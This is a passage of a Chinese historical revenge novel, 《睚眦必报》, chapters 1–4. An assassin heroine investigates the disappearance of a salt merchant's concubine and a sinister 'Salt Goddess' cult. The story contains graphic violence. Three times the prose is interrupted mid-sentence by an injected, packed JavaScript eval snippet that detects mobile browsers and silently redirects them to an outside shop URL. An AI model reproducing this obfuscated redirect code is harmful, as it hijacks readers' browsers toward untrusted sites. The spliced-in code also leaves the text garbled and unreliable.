《睚眦必报》 1. 盐娘娘（一） 五代藩镇割据，幽州地绝盐逾岁，民病瘿疣。忽有女临，教以刮碱土煮盐之法，旬日得雪晶盈釜。——《宁河县志》 * * * 楚怜吃力地抬起眼皮，头顶的溶洞低矮逼仄得直扑下来，让她喘不过气。体内的热气不受控制地向外奔涌，在楚怜的身下形成一片触目惊心的红。冷，实在是太冷了。她伸出手，徒劳地抓握着，从颤抖的上下牙齿间挤出几个字。 “孩子……我的孩子……” 没有人回应她的呼唤，唯有冰寒彻骨的水滴不断在钟乳石上凝结，又滴落，以一种冷漠的速度敲击着楚怜汗涔涔的额头。 啪嗒。 啪嗒。 她挣扎着，蠕动着，终于拼尽全力，拗着身子，半坐了起来。从腹部深处传来的疼痛，如同一道细长的白线将她一分为二。 幽光融化在钟乳石的褶皱上，让她隐约看清了自己隐没在血泊中的下半身。那很难能被称为人的身躯，反倒像是半截被砸烂掏空的虫。 她的肚子被剖开了，她心心念念了九个月的孩子，消失了。 她无声地张了张口，在沉默中惊声尖叫。 隐隐地，身下传来一阵凉意，不知何时，从地下漫上来的水已经淹没了她的指尖，冲散了刺目的血泊，并逐渐向她光裸的脚踝，颤抖的小腿，甚至纤弱的脖颈逼来。 “救……救命”，楚怜虚弱的呢喃着，妄图蜷缩起身子，离那些刺骨的地下水远一些。然而，就如同那些在夏日的暴雨中无处可躲虫茧，楚怜知道，自己恐怕是逃不掉了。 水流以一种不容置疑的速度攀援至她的颈部，封住了她的嘴唇，呛进了她的肺里。 近乎停滞的呼吸，让楚怜昏聩的头脑有了片刻的清醒，她记起了那个流传甚广的传说。相传，若一女子不配为人母，盐娘娘便会下得凡间来，带走她的孩子。 所以，这便是盐娘娘对她的惩罚吗？ 天人交战之际，楚怜隐约听到溶洞的深处，传来婴孩儿哭闹的声音。 呜哇—— 她看到一名白发臻首，全身如雪的女子，怀抱着一个裹在襁褓中的婴孩儿，冲她遥遥地，悲悯地，望了一眼。 那是—— 口中泛起一阵咸涩，楚怜浑身一个激灵，拼尽最后的力气，一边挣扎着向女子的方向搓动，一边抻长脖子嘶喊道：“盐娘娘！求你……把孩子……还……还给我！” 那不忍卒听的声音伴随着汹涌的水声，在溶洞中撞击回荡，发出可怖断续的回音。 还给我——给我——给我！ 被称作盐娘娘的女子没有回应，只是幽幽地转过身，抱着婴孩儿消失在溶洞深处。 水漫了上来，水面只余滚涌而上的水泡，而楚怜破碎的身躯，却再也找不见了。 * * * 万历十三年，济南府。 风传花信，雨送春声，连绵不绝的春雨滴落在湖面之上，蒸腾起一片毛绒绒的雾气。此湖名曰莲子湖，每至盛夏，湖中荷花遮天蔽日，夺魄生姿，极是喜人。 如今尚是早春三月，莲花还未发芽，静眠于湖水深处。湖中央唯余孤障刺天，绿峦峻拔，山若芙蓉，独秀于水面，正是济南府的名山——华不注。华不注山的山腰处有一座长生观，观中正殿供奉着碧霞元君，香火最是鼎盛。 碧霞元君，俗称泰山娘娘。据传，若能虔诚叩拜，贫者可富，疾者得安，耕者能岁，贾者将息，祈生者许年，未子者赐嗣，可说是所求皆得圆满，在齐鲁一带信徒靡众。碧霞元君的道场原在东岳泰山，可近些年来，华不注山的这座道观却因其灵验而日日人满为患，抢了泰山娘娘庙的风光。 而此时，长生观的大殿里却起了事端。 一名男子对着碧霞元君叩拜不止，直磕得额头都沁出血来，亦恍然未觉，却是吓得女眷们都叽叽喳喳地躲了开去，熙熙攘攘的大殿诡异地静了下来，只余下“砰砰”的叩头声和围观人群的窃窃私语。 “这汉子瞧着端正，怎么跟着了狂似的？” “可不怎地，吓人得紧！” “我听闻，这汉子是从青州府那边一路拜过来的，想来是有难事要求，看着怪可怜的……” “青州府？那一路拜过来可挺远的啊！” “可不怎地，吓人得紧！” “能求啥呢？求财求运？求子？要么……中状元？” “甭管求啥，过犹不及，若是再惊了泰山娘娘，还不是吃不了兜着走。” “可不怎地，吓人得紧！” “你能换句话说吗！” 刻意压低的人声如同嘤嘤不休的蚊虫，盘旋在男子的周身萦绕不断，可那男子却依旧沉浸在自己的悲怆里，一边叩拜，一边低声喃喃着什么，面前寸于的地面上，斑斑血迹混着泪水，氤氲开去。 “泰山娘娘，小人实在是求告无门，无路可去了……小人的妹妹死得冤枉，实在是冤枉！可是舌头底下压死人，那帮畜生……竟是生生将黑的说成白的，将死的说成活的，将那么一个大活人，上下牙齿一碰，便给说没了，小人不服，小人不服啊……” 男子约莫三十岁上下，可两鬓却隐隐有了白霜，太阳穴上青筋凸起，字字句句从咬得变了形的牙缝中钻出来，锋利如刀。 “小人求了人，人不理；小人告了官，官不纠，竟是将小人能走的路通通堵死了。今日，小人只能一路长跪，拜到了娘娘的道场里。可若这天底下的事情，娘娘也不肯管，那小人只有……只有……” 男子的拳头缓缓攥了起来，活到这般年纪，今日方知何为——走投无路。旁人只看到他磕得额头见血，又有谁知道他脊椎骨往下至大腿的皮肉都已溃烂，稍稍一动便是钻心的疼。那是县衙老爷对于他不断上诉的恩赐，也是对于他追问妹妹下落的回答。 自妹妹失踪后，他磨破了嘴，跑断了腿，妹妹的夫家只说是盐娘娘降世，将不守妇道的妹妹收了去，便再也不肯对他多说一个字。县衙老爷更是腌臜，竟让他到妹妹的姘头家里追问去。天可怜见，他那温柔恬静的妹妹哪里有这般歪心思，又哪里来的姘头！可是三人成虎，这一传十，十传百，妹妹弃子私奔的事儿竟被传成了真。 也罢，若是今日，享尽香火供奉的泰山娘娘也闭目塞听，不肯管这凡间事，他也唯有一头磕死在这道观中，还妹妹一个清白。 心中笃定了此想，男子眉眼一横，起了死志，大喊一声：“怜儿，是哥哥窝囊！”他猛地直起身子，向着身下的地面狠狠撞去。 预想之中的疼痛并没有出现，相反，男子的额头撞进了一片如同女子长发般地丝障里，一拉一扯间，男子视死如归的力道被卸去了大半，惶惶然抬起头来。泪眼朦胧中，只见一白袍道人谡然而立，正微笑着望着他。道人双臂端在胸前，一柄拂尘搭于臂上，一点殷红的血迹若红梅一簇，绽放于拂尘之间。 那道人眉骨生得极高，却无半分嶙峋戾气，衬着那飞扬的眼尾，含笑的眸光，倒比那敛目低首的碧霞元君还要慈悲几分。此时，殿外的晨光掠了进来，在他的颊侧笼上了一层极薄的辉彩，便是此刻心如死灰的男子，都觉出些如沐春风的意味。 道人喉头微动，柔声道：“善信的诚心，元君都看到了。”他稳步上前，走到跪坐的男子身侧，微微俯下身来：“官员考校尚需百日，元君垂察善恶岂能顷刻？善信，不如暂候七日，给元君些时日，亦是给自己一个机会。” 道人向男子伸出手，不催促亦不逼迫，只是含笑待着。 跪在那穿堂而入的春风里，男子鼻腔一酸，他已经有多久没有被人当“人”看待过了？多日来的委屈悲苦齐齐涌上心来，通红着眼眶，男子扶住了道人伸过来的手，借力站了起来。 围观的人群呼啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595661|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦让出了一大块区域，道人也不多言，搀扶着男子向殿外行去。 * * * 那道人自有其玄妙之处，让愤懑难抑的楚庸莫名平静了下来，他亦步亦趋地随着那道人走出了大殿，转出了山门，在道人的诵福声中，独自踏上了下山的小径。 跪了一个晌午，楚庸的四肢早已酸涩麻木，此时行在下山的路上，每走一步，腿脚都微微打晃。而楚庸却无暇旁顾，心中早已被两个字填满。 七日。 那道士许了他七日，可这七日之间当真能有什么改变吗？自妹妹楚怜活不见人，死不见尸之后，他又经过了多少个食难下咽，寝难安眠的七日呢？若那碧霞元君真的能体察人间善恶，她能够在七日之中还妹妹一个公道吗？亦或者，这七日之约，无非是道人不愿让他一头撞死殿中，污了碧霞元君道场的托辞吧…… 心中正这般想着，却见山路上行来一人。那人包裹得极是严实，头上遮着柳笠，脖颈上围着灰色的长巾，将大半面容掩在其中，可看身形，定是女子无疑。 山路狭窄，仅容一人同行，再加上男女大妨，楚庸便主动让了开去，紧贴着路旁的树干站定，等待那名农家女通过。 女子遥遥地冲让路的楚庸点了点头，脚步轻快地对向而行。可随着那女子越行越近，楚庸的心脏却剧烈地跳动了起来。 一种难掩的压迫感，让他几乎透不过气来。仿佛向他行来并非是背着柴堆的农家女子，而是一柄破空而来的利剑。 就在他戒备之时，不远处的树冠上倏地飞掠下两道黑影，如同义无反顾追逐猎物的游隼，以急速之势直逼农家女的后背而来！ 楚庸心头一颤，下意识地出言提醒道。 “小——小心！” 那“小”字刚从齿缝间挤出，却见那农家女动作极为自然地探手朝腰间抚去。只眼前一花，女子的右手上便泛起一道寒芒。说时迟那时快，两道黑影已然逼近女子后脑，悍然出击！ 楚庸只觉自己的呼吸都要停滞了，女子背后却仿佛长了眼睛一般，腰腹瞬时用力，借着背上柴薪的下坠之势，猛然向后仰倒，将身体弯成一道拱桥。 背后垒得高高的柴薪轰然坠地，滚落四溅。而两道黑影也恰在此时，于她的面前交错，两根峨眉刺劈空而来！女子堪堪躲了开去，唯有数缕碎发向上飞起，被削铁如泥的峨眉刺斩断。 楚庸暗道：好险！ 一击不成，还不待两道黑影重整颓势，女子的右手便悄然向二人袭去。两道细长的红线，出现在两名黑衣杀手的脖颈之间。 ——噗嗤！ 下一瞬，血水如涌泉，自细长的伤口间喷出，又随着二人的颓然落地，在空中划出一道粘稠的赤色弧光。 欢快的鸟鸣声、轻柔的风声、树叶相互磋磨的低语声、甚至于女子渐行渐近的脚步声都消失了，楚庸耳廓里唯余惊天动地的心跳声。 ——砰砰，砰砰砰！ 在转瞬间杀死二人的女子朝着楚庸缓步走来。 这农家女乔装改扮，偏偏自己目睹了这场杀局，定然要被灭口了。楚庸知道，今日自己必死无疑了。 生死一线间，楚庸感到不单单是恐惧，反倒是铺天盖地的遗憾。 他还没有寻到妹妹，他柔弱的妹妹，他善良的妹妹，他命苦的妹妹，说不定此时就躲在某个无人的角落，等待着他的救援。 亦或者—— 不知为何，眼见那乔装改扮的农家女高高扬起持着短刃的手臂，楚庸偏又涌起一丝释然。 亦或者——妹妹也早已命丧黄泉，只等着自己前去重逢。 楚庸苦涩地笑了一下，吐出一口憋在肺里的浊气，缓缓闭上了眼睛。 一声锐器斩断枝干的杂音响起，紧随而至的是一道沉静如水的女声。 “与其懦弱就死，不如——血债血偿。” 2. 盐娘娘（二） 农家女的音量不高，却如盛夏轰然而降的冷雨，将楚庸浇得透心彻骨。他抑制不住地颤抖起来，不知是因为绵延不断的恨，还是因为骤然而升的冷，他的上下牙齿也不断磕碰着，良久方止。 待到他冷静下来，睁开眼睛，转头再寻，那农家女早已消失在小径的尽头，找不见了。 楚庸瘫坐在树旁，惶惶然半晌，方才觉得树干上用短刃钉着一物，探手一摸，竟是一份浸透鲜血的竹制名帖。 上书： 这世间，总有诸善难奉，诸恶横行，总见好人垂泪，难得恶人遭殃。 若真是菩萨闭目姑息，神佛听而不闻，百官党同伐异，天子草菅人命，诸位该当如何？ 自然是以暴制暴，以刚克刚。 若真有难报之仇，不泯之恨，请携此名帖，赴济南府华不注山长生观，寻晏回姑娘。 * * * 花开两朵，各表一枝。在苦主楚庸拿到名帖之时，那农家女则背着垒得高高的柴薪走入了长生观中。穿过游廊，绕过后院排列整齐的厢房，再从花园的假山向西，直奔僻静处的柴房而去。 一路上，无论道童居士，亦或是洒扫的杂役，甚至身份尊贵的经师高功，皆对着她颔首行礼，颇为敬重忌惮。农家女微微敛目，一一受了礼。 走进柴房，掩了门，农家女将柴薪堆在墙角，俯身转动一个不起眼的泡菜坛。咔嗒咔嗒的机扩声随之响起，柴房西面的一处墙体缓缓翻转开起。 农家女略一弯腰，走入墙后的隧道之中。 墙体在身后自动关闭，将最后一丝天光掩在外面，扑面而来的是浓重得如同实体的黑暗。农家女的步子丝毫没有停滞，借着洞壁上如豆的灯光，在隧道中行进，逼仄的空间里，响起有节奏的踏水声。 行了约莫有数十步，拐过一个低矮的石墩，一个形容开阔的石室豁然眼前。 “晏回姊姊来了！”一阵清亮的女声若出谷黄莺，打破了令人压抑的静寂。 石室中间有一张巨大的石桌，桌旁围坐数人，闻言皆站起身来，向着女农人的方向看了过去。 此时，那农家女摘下了柳笠，收起了裹着脖颈的长巾，步入到火光明亮的石桌前。与她说着“血债血偿”的冷静果决嗓音不同，名叫晏回的女子长着一张柔弱苍白的脸。狭长的睫毛簇着一双猫眼石般浅淡的眸子，被橙红色的火光一照，澄塘映雪般粲然生辉。唯一美中不足的是，许是因为肤色太过白皙，她的眼下泛着淡淡的青灰色，如同碧霞元君座下萦绕的烟气一般，始终挥之不去。 石桌的对面立着一位少女，正是她第一眼发现了踱入石室的晏回。 “晏回姊姊，任务还顺利吗？” “嗯”，晏回微微颔首，示意众人都坐下来，“任务已了，只是回来的路上撩了两名空子，耽误了些时间。” 闻言，石桌旁主动步出三人，向着石室外走去，想来是料理那两名杀手留下的烂摊子去了。而其余众人面色如常，仿佛晏回所言杀戮之事，再自然简单不过。 “姊姊，那名帖给了吗？”少女扬起小脸儿，笑得春意盎然。 “嗯，万事俱备，复仇与否，只看那楚庸的选择了。”晏回答道。 少女名叫唐珠儿，刚过豆蔻之年，正是耐不住性子的时候，这方见晏回话音刚落，她便叽叽喳喳地追着问道：“姊姊，为啥要选这个楚庸呢？” “论钱，他定然是没有的；论权，他在青州府被衙门美美打了三十大板，想来也没什么本事；论人脉，他唯一的妹子楚怜此时生不见人，死不见尸”，唐珠儿掰着指头认认真真地算着，“姊姊瞧上他什么了呢？” 火光没有照到的阴影之中响起一声轻嗤，一抹白色的人影懒洋洋地伏到石桌边，用手腕撑着脖颈，若有似无地瞟了唐珠儿一眼。 “这话问的，西楼何曾瞧得起谁？”开口答话的正是那长生观中，救得楚庸一命的白袍道人。此时的他早已没了方才观中让人如沐春风的仙人模样，倒像是一只刚打过午盹儿的猫。他不喊晏回的名姓，只唤她表字，显得格外亲昵。 “瞧不瞧得起你，我说不准，但晏回姊姊定然是瞧得起我的！”唐珠儿急赤白脸地反驳道。 “可不是，咱小班主唐珠儿一双妙手空空，独步天下。”白袍道人笑道。 “哼，哪比得上咱长生观观主范凌舟，一双铁齿铜牙，把活的说成死的，把死的说成活的！”唐珠儿不甘示弱，气冲冲道。 白袍道人范凌舟将石凳扯远了些，跟唐珠儿隔开了一段距离：“西楼，快扯着些她，再咬着我。” 就在唐珠儿即将扑上去厮打的瞬间，一双素手不偏不倚按住了她的肩。 “珠儿”，只这淡淡一声唤，唐珠儿便偃旗息鼓，坐回到石墩儿上，咬牙切齿地瞪着范凌舟。“你方才说，那楚庸身无长物，没什么可图谋的。” “你恰恰忘了，人最宝贵的，不是钱，不是权，亦不是人脉。” “那是什么？” “是被压榨到极限，不得不豁出性命的恨意。”晏回抬眸，凝向石室的深处，“而这种极致的恨意，就是要烧起来，才好看。” 范凌舟看着晏回若有所思的眼神，微微一笑：“既然西楼都发话了，那我们便待他七日。” “成吧，待他七日。”唐珠儿点点头。 七日后。 一大清早，道观里便迎来了一位走路一瘸一拐的男子，观主范凌舟亲往接迎。 男子从怀中掏出一份沁满鲜血的竹制名帖，名帖上的血迹早已干涸，透过那暗褐色的血污，名帖的字迹依旧清晰可辨。 “道长”，男子开口道，“我……我求见晏回姑娘。” * * * 青州府寿光县外驶来一辆颇为低调牛车，未及县城便停了下来，车上下来一男一女，女子柳笠长巾，看不清容貌；男子身姿如鹤，仙风道骨，二人在县城外各奔东西。牛车上只余一少女，高喝了一声“驾”，驱赶着牛车驶入了寿光县城。 寿光城东关有一古寺，坐北面南，山门耸立，大殿巍峨，廊庑壮丽，有“普陀道场”之称，名曰——宁国寺。寺中植有古槐，不知何年所植，因其岁远，故有“先有老槐荫，后有寿光城”之说。 正是春意盎然之时，老槐苍枝劲健，绿意葱茏，生了新芽的枝干越过古寺的院墙伸展而出，形成一片柔软的绿荫。 绿荫之中匐着一浅淡的影子，如同春风垂落的柳枝，让人望之生怜。细细看去，却是一名女子，臻首低垂，哀容切切，一身粗麻孝衣簇着那婉约的眉目，让路过的行人都不由得偷瞄上数眼。 这时，一阵喧闹声传来，却见一列朱漆轿马自东街口转了个弯，朝着宁国寺的方向行来。轿夫皆着赭色短衫，穿着短靴的脚板踏得青石路咚咚作响。为首那顶八宝璎珞轿更是扎眼，不知道的还以为是青州府的知府官轿。 “都仔细着些！”领头的家仆挥鞭抽开道旁未及避让的行人，态度嚣狂得紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595662|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>路人一边慌忙闪躲，一边嘴里止不住地低声咒骂。 “这天杀的鲁秉添，上月还见他在盐场给太监磕头，今儿倒敢用四抬轿了！不就是捐纳了个监生吗，还真把自己当盘儿菜了！” “可不是，若是搁在洪武年间，十个脑袋都不够他砍得！” “别抱怨了，这年景儿，笑贫不笑娼，有钱能使鬼推磨，你何苦跟他一般见识？” “嘿，可不敢，人家鲁员外哪是咱们这帮土鸡瓦狗碰得起的！” “知道就行，少言语两句吧！” 街上熙熙攘攘的路人或行或立，自然是一眼就瞅见了来势汹汹的轿阵，躲避得及时，便是腿脚慢些的，也堪堪避开了鞭子。可有些人却没有这般幸运了，就比如那跪在古槐下磕头的女子。 “哎呀”一声轻叫和着陶碗被打碎的声音一同响起。手持长鞭的家仆一鞭子抽飞了女子放在身前的陶碗，第二鞭正欲往女子的脸上招呼，胳膊高高扬起，却迟迟没有挥下来。 女子不躲不闪，只含泪凝着他，被那双琥珀色的猫眼一扫，那嚣狂的家仆竟是有些痴了，缓缓放下鞭子，露出讪讪的笑。 “哪个腌臜货许你在此冲撞贵人，晦……晦气！”家仆嘴上这般骂着，心里却暗自懊悔，不该毁了这小娘子的陶碗，语气便也显得名不正言不顺起来。 女子慌慌张张匍匐数步，敛回了自己的破碗，瑟缩到墙角，如同猫儿爪下的孤雀。 轿帘微微掀起一条缝，一道凌厉的视线射出，在女子梨花带雨的面容上凝了片刻。 “小顺子，老爷我平时就是这般教导你的？”轿帘后的嗓音像是浸透蜜油的棉絮，乍听温厚圆融，偏生尾音总要带一丝黏腻的颤。 那家仆赶紧堆笑作揖：“老爷平日里教训咱们当以仁心体察黎庶，是小的猪油蒙了心。” “嗯——”鲁秉添拉长了音，眸光却在女子的脸上来回扫量，“小娘子，可是有甚冤情？” 女子俯身叩头，后颈支棱的骨头顶得孝衣鼓起尖角：“大老爷容禀……家父乃是南山坳的佃农，今年大旱，东家仍要收七成租子……家父交不起，实在没个活路，三日前便吞了观音土……小女子身无分文，又被东家赶了出来，只能……”她紧紧咬住下唇，声音几乎是从牙缝中挤了出来，“只能卖身葬父。” “天可怜见！”鲁秉添喟然长叹，其悲天悯人之意呼之欲出，“青州府治下竟还有如此孝女，我定要向知府大人禀明，还你爹爹清白。” “小顺子”，鲁秉添威严道，“夫人院儿里倒少个捧香盒的伶俐人，可是？” 那名叫小顺子的家仆自小在鲁府中长大，浸淫十数年，最是会察言观色，此番见自家老爷中意这孤女，自然陪着笑脸儿哄劝：“可不是吗，这姑娘瞧着就是个有造化的！” 鲁秉添心头大畅，可这戏还是得做全，决计不能落下强抢民女的话靶。 “小娘子，老爷我愿意替你全了这孝心，让你在府上签了活契，每月再予你五钱银子，可使得？” 那女子只是嘤嘤怯怯地哭，鲁秉添也不着急，自有长眼色的家仆替他催促。 “小娘子，还不谢大老爷的恩典？” 那女子终于抬头，一双泛着桃红的妙目在眼眶里一旋，扑簌簌地又落下泪来，看得人心神摇荡，不是那乔装改扮的晏回晏西楼又是何人！ 若想以暴制暴，先得以身入局。不入虎穴，焉得虎子，自古应如是。 “民女谢大老爷恩典。” 3. 盐娘娘（三） 晏回深吸一口气，挽起一个恬静到让人不忍苛责的笑，端着新泡好的茶水，走进了夫人崔氏的房间。 入得鲁府不过两日，晏回只老老实实在夫人房里呆着，眼耳却一刻不得闲，将府里的人际关系摸了个七七八八。 先说这鲁府的当家鲁秉添，自小便随父亲做着贩盐的生意。最开始是运粮至朝廷指定的粮仓换取盐引，再返回寿光的盐场取盐。后来生意越做越大，鲁家便直接向盐运司缴纳白银换取盐引，省了长途运粮的车马劳顿。待鲁秉添当家以后，更是和寿光盐场的巡盐太监称兄道弟，私底下送了不少礼金，年初又捐纳了监生，摇身一变成了半个官老爷。 这鲁秉添官场得意，家宅却不宁，先后娶了四房妾室，不是暴病而亡，就是难产而死，至楚怜这一房，更是闹出了弃子私奔的笑话。所以，这鲁府虽年年添丁进口，却只留下了大夫人这一房妻室，以及与妾室所出的四个孩子。 而这大夫人——晏回下意识地蹙了蹙眉，相处了两三日，说过的话一个手都能数得过来，别说探问些内情了，大夫人几乎没有正眼儿望过她。 晏回的脚步极轻，只隐隐流露出些许衣袖摆动间的摩擦声。在闭目诵经的大夫人身前站定，晏回将青瓷茶盏轻放在案几上，特意让盏底磕出半声脆响。 “夫人，婢子听您嗓音暗哑，想是诵经累了，先喝口茶吧！” 晏回的目光在大夫人苍白的面色上掠过，又飞快地掩在眼帘之下。 大夫人的诵经声未断，只是摩挲佛珠的动作略有迟滞。 “嗯——” 从鼻腔里发出短促而轻微的应声，女子连眼皮都未曾抬起。 晏回心中不由叫苦，她自认性格内敛，又深谙言多必失的道理，因此，除了任务需要，平日里皆寡言少语，罕有笑脸。可这大夫人比之她却有过之而无不及，倒像是个只会喘气儿的木头美人。 “大夫人，听老爷说，这是盐使司今年的头道春芽，夫人定是……” “放下便出去吧。”晏回的话还没说完，就被大夫人的话音截断了。同女子如冰雕雪砌般冷漠的面容一样，大夫人的声音亦是毫无情感的波澜。 晏回依言退出了房间，小心翼翼地合拢了房门。 虽是再简单不过的六个字，晏回却从中揣摩了暗藏的意味。在她刻意提到“老爷”的同时，晏回注意到木疙瘩般地大夫人，面上有了瞬间的波动。 她细长的眉头倏地向中间皱起，但也只是片刻，便如漾起涟漪的湖面，重又归于宁静。 ——厌恶。 没错，那种表情意味着厌恶，意味着眼观鼻鼻观心的菩萨面容下，难以掩盖的深恶痛绝。 这鲁府倒是有些意思，晏回心中暗道。 既然那大夫人不愿意她在房里呆，她也乐得清静，借此机会，到院里逛一逛，说不定能打听出点儿新东西。 晏回端着空空的茶盘，眸子在院儿里来回扫量着。 只见那宏俊堂宇，重轩复道，四面抄手游廊，皆是外涂金彩，再覆以丹垩雕刻，华美非常，几名婢子正倚在树下说小话儿，其中一个手里还抄着一跟鸡毛掸子，说到兴起之处，便像跟狐狸尾巴一般摇来晃去。 晏回识得这几名婢子，正是夫人房中的梅兰竹菊。 说来也是有趣，这几名贴身婢女放着主子不伺候，初来乍到的自己倒成了跑得最勤快的一个。 晏回的嘴角微抿，露出一抹了然的笑意。 想来是这位冷心冷情的大夫人实在是不受宠，下人们便也看人下菜碟，懒得到跟前伺候。可若是崔氏真的入不得那鲁秉添的眼，却为何能数年来屹立不倒，那些曾经显赫一时的妾室却再也找不见了呢？ 心里正想着，自花园另一头，却传来一阵嘈杂的笑闹声，只见三名孩童正相互追逐着向这边跑来，队伍的后面，在鲁秉添跟前伺候的小顺子叫苦不迭的喊着。 “小祖宗们，快饶了小的吧！” 闻声，晏回赶紧垂下头，贴着一旁的柳树站定，生怕引起那一帮孩子的注意。 倒不是打怵，实在是心里厌烦，尤其是那种孩子才能发出的尖锐叫声，更是惹得晏回气躁。 虽然晏回躲得及时，可追在少爷小姐们身后的小顺子，还是一眼就看到了柳树下的佳人。他跑得满头大汗，见那女子臻首微垂，亭亭玉立的样子，如同画中走下来的神仙人物，让他如饮琼浆，全身为之一畅。 喉结滚了两滚，他强压下心头的焦渴，将目光恋恋不舍地挪了开去。 心中暗道：哎，终究是老爷看上的佳人儿，我是没造化尝咯！ 待小顺子追着孩子们嬉笑而过，晏回心中的疑惑又添数分。 那为首的男孩儿不过五岁的年纪，最小的女孩儿约莫着三岁上下，三名孩童，分别出自三名妾室。而楚怜的弃子，晏回还无缘得见。如此算来，一名妾室留下一个孩子，又都是降下孩子之后，便死得死，逃得逃，这天下当真有如此巧合吗？ 可若并非如此，那些妾室如今，又在何处呢？ 正思量间，晏回穿过花朵掩映的后花园，来到了西南方的僻静之处，一座式样精巧的小庙悠然眼前。 那小庙檐飞如刀，从柱基到瓦脊都用一种独特的花岗岩雕砌而成，在阳光下闪动着细碎的光彩。为了完成苦主们的任务，晏回可谓走南闯北，见识颇丰，却从未看见过类似的石材，她心中疑惑，不由得移步上前查看。 四周空无一人，小庙的大门也被一把铜锁紧紧拴住，锁眼儿上泛着铜绿的锈色。 晏回抬起手，轻轻抚了抚那灰白色的墙体，手指感受着那混杂在石料中与众不同的粗粝。苍白的手指骤然停住，这并不是花岗岩，而是——贝壳！ 她后退一步，惊愕地注视着面前这座莹然生辉的小庙。将数以千万计的贝壳打碎，融混在泥浆之中，再烧制成砖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595663|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，最终垒建成庙，这鲁府的财力当真不可小觑！ ——那这庙中奉的真神…… 晏回正欲再探，却听见身后传来一脚深一脚浅的脚步声。 来人了！ 晏回立时换上一副慌张的神色，提着裙子，迈着碎步兜兜转转起来。 不多时，那人就走进了晏回的视野，是一名挑水的杂役，看上去年纪不轻了。 “这位老丈”，晏回红着脸施了一礼，“婢子是大夫人房里新来的丫鬟，初来乍到，走得远了些，识不得回去的路，还望老丈帮个忙。” 那老人直起腰来笑道：“好说，你穿过这庭院直着往北走，到假山处再往东一转，便到了。” 晏回微笑着颔首，却不着急走，反而转身指着小庙问道：“多谢老丈，再劳烦一句，婢子见这小庙修得精巧，里面供奉的是哪路神仙啊？文财神？还是——妈祖娘娘？” 老人闻言，笑得鼻子眼睛都挤到了一处，浑浊的眸子藏在皮肤的皱褶间放着光。 “这里是盐娘娘的道场。” “盐娘娘？”见老人面露疑色，晏回赶紧补充了一句，“婢子家在南山坳，见识粗浅，让老丈见笑了。” 南山坳中的农户人丁稀薄，又徭役繁重，罕有出山谋生者，不识得盐娘娘倒也合理。老人点了点头，解释道：“你既入了咱们宅子，心中也得供奉着娘娘才是。” “相传，在那五胡乱华的年景儿，青州府大旱，颗粒无收。人没了粮食尚能薅点儿树皮草根儿将就，可若没了盐，便活不得了。就在这个时候，天上的仙女看不得人间疾苦，下得凡来，化作一名怀抱婴孩儿的美妇人。她将自己的孩子投于枯井之中，第二日一早，井中便生出了白花花的盐，青州府的一方百姓靠这口盐井才活了下来。” ——把自己的孩子投入枯井化作盐晶？这是什么令人齿颊生寒的传说啊？怎么听这盐娘娘也不似善类…… 见晏回神色一凛，老人似乎颇为得意，抬起手臂遥遥一指：“据说啊，咱府上的那口卤水井，就是当年盐娘娘祭子化盐的井呢！” 他讲得口干舌燥，砸吧了一下嘴：“就是苦了老朽，日日出门挑水浇花，疲累得紧。” 晏回佯装恭敬地朝小庙拜了拜：“这盐娘娘如此神通广大，那婢子也得拜拜才是。” “诶——”老人微微抬眸，细长的眼睛射出一丝戏谑的光，“女子可拜不得，咱府上的漂亮女子更是拜不得。” 晏回回转过头，面露疑惑地向老人看去，却见老人并不瞧她，只是用瓢舀了桶里的水，向着院中的花朵泼洒。 “盐娘娘苦啊，没有了自己的孩子，便恨上了不配为人母的女子。若是起了歪心思……”哗啦，一瓢冷水浇下，花朵呈了滴水之恩，愈发摇曳生姿，“盐娘娘便会——去母留子。” 花瓣上凝了无数晶莹的水珠，反射出晏回佯装惊惧的脸，以及那眸底难掩的冷意。 4. 盐娘娘（四） 晏回怀中抱着一束忘忧草，推门走进了大太太的卧房。 她不断在心中咂摸着盐娘娘的故事。 去母留子……也就是说，鲁府上四名小妾的厄运，都是盐娘娘所为吗？因为她们不配为人母，所以盐娘娘夺去了她们的生命，或者将她们引领至世人不可知的角落，只留下了四名失去母亲的孩童？ 这就是人们信奉的神明吗？ 晏回嘴角挽起一丝冷笑。放屁！这世间哪有什么神明，有的只是借着神明之力，阴险叵测的人心！那价值连城的小庙中祭祀的，究竟是盐娘娘，还是人的血肉沤出来的秘密……她会查出来的。 她将怀中的忘忧草轻轻插在花瓶之中，摆在卧房的显眼处。 这是她从花园中采撷的，今日初开的花朵，摆在冷清的卧房里最是合宜。那浇花的老人倒是热情，引她去寻开得最繁盛的几朵，只是将忘忧草递给她之时，那老人的神情有些古怪。 